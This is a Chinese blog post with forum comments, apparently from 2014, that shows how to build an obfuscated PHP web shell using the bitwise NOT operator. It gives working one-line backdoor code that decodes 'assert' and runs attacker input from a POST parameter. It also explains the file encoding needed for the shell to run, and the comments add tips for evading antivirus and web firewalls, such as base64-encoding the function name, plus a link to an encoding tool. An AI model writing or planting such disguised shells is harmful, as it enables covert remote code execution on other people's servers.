php中使用按位取反创建后门

  • A+
所属分类:编程茶楼

1)PHP ~位运算符 
前一段时间老外在twitter上爆出个有趣的东西,一串疑似乱码的字符串访问后却能正常输出1337。 

PHP: 位运算符 - http://www.php.net/manual/zh/language.operators.bitwise.php 
~ $a        Not(按位取反)        将 $a 中为 0 的位设为 1,反之亦然。 

PHP 的 ini 设定 error_reporting 使用了按位的值,提供了关闭某个位的真实例子。要显示除了提示级别之外的所有错误。 
php.ini 中是这样用的: E_ALL & ~E_NOTICE 
具体运作方式是先取得 E_ALL 的值: 00000000000000000111011111111111 
再取得 E_NOTICE 的值: 00000000000000000000000000001000 
然后通过 ~ 将其取反: 11111111111111111111111111110111 
最后再用按位与 AND(&)得到两个值中都设定了(为 1)的位: 00000000000000000111011111110111 

2)分析并重现 
这个就是当时最原始的代码实现效果: 
php中使用按位取反创建后门 


当看到这个效果的时候最先想到的就是绕过防火墙等后门的实现,之后开始考虑这是哪种编码方式? 
后来同李普君测试中发现直接使用echo ~'1';等则会直接输出以上的'乱码'。 
php中使用按位取反创建后门 


那么我们便可以开始写一句话试试效果了: 
<?php 
$x=~Ÿ¬¬º­«; 
$x($_POST[~¹¹ÏÏÏÏ]); 
?>

php中使用按位取反创建后门 


这里定义$x变量为ASSERT,然后密码为FF0000直接链接后门便可,因为当位取反出来'乱码'后我们再取一次反即可返回正常值。 

3)关于编码与免杀 
当重现这个后门的时候我发现,直接Copy过来的直接HTTP状态500,源头是编码问题,上面这种'乱码'其实为西欧(ISO-8859-15)。 
实际过程中我们遇到了多次后门无法链接出现500的错误均势因为编码问题,如果默认编码无法识别将编码方式保存为这种即可(GBK\UTF8\...均不能成功使用) 
php中使用按位取反创建后门

  1. zph php中使用按位取反创建后门 | 2014-08-21 20:58

    转自:http://hackersoul.com/post/PHP%E4%B8%AD%E4%BD%BF%E7%94%A8%E6%8C%89%E4%BD%8D%E5%8F%96%E5%8F%8D%E5%87%BD%E6%95%B0%E5%88%9B%E5%BB%BA%E5%90%8E%E9%97%A8.html

  2. php中使用按位取反创建后门

    2#动后河 (类的继承) php中使用按位取反创建后门 | 2014-08-21 21:22

    那就再base64编码一次,就行了不?

  3. php中使用按位取反创建后门

    3#Sogili (.) 长短短 (.) php中使用按位取反创建后门 | 2014-08-21 21:23

    http://zone.wooyun.org/content/10249

  4. php中使用按位取反创建后门

    4#

    回复此人 感谢

    zph php中使用按位取反创建后门 | 2014-08-21 21:34

    @Sogili http://xsser.me/1.php?pass=pkav无法打开呃 :( 才发的这个帖子,而且那个木有原理等

  5. php中使用按位取反创建后门

    5#zph php中使用按位取反创建后门 | 2014-08-21 21:37

    @动后河 zone里这个帖子说过……http://zone.wooyun.org/content/10278 用base64加密assert函数,貌似就可以过狗

  6. php中使用按位取反创建后门

    6#Ivan (Null.) php中使用按位取反创建后门 | 2014-08-22 00:25

    mark

  7. php中使用按位取反创建后门

    7#无敌L.t.H (‮……肉肉、狗疯、ressx点请战挑桶冰) php中使用按位取反创建后门 | 2014-08-22 09:00

    异或那个不知道行不行,看上去应该是一样的。

  8. php中使用按位取反创建后门

    8#BMa (安全技术爱好者!) php中使用按位取反创建后门 | 2014-08-25 23:07

    我的编码貌似不对,转换不过来,

  9. php中使用按位取反创建后门

    9#zph php中使用按位取反创建后门 | 2014-08-26 22:30

    @BMa 用ISO-8859-15这个编码试试

  10. php中使用按位取反创建后门

    10#laterain php中使用按位取反创建后门 | 2014-08-26 22:53

    加密工具
    https://github.com/laterain/pwaavt/blob/master/bitwise.php

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: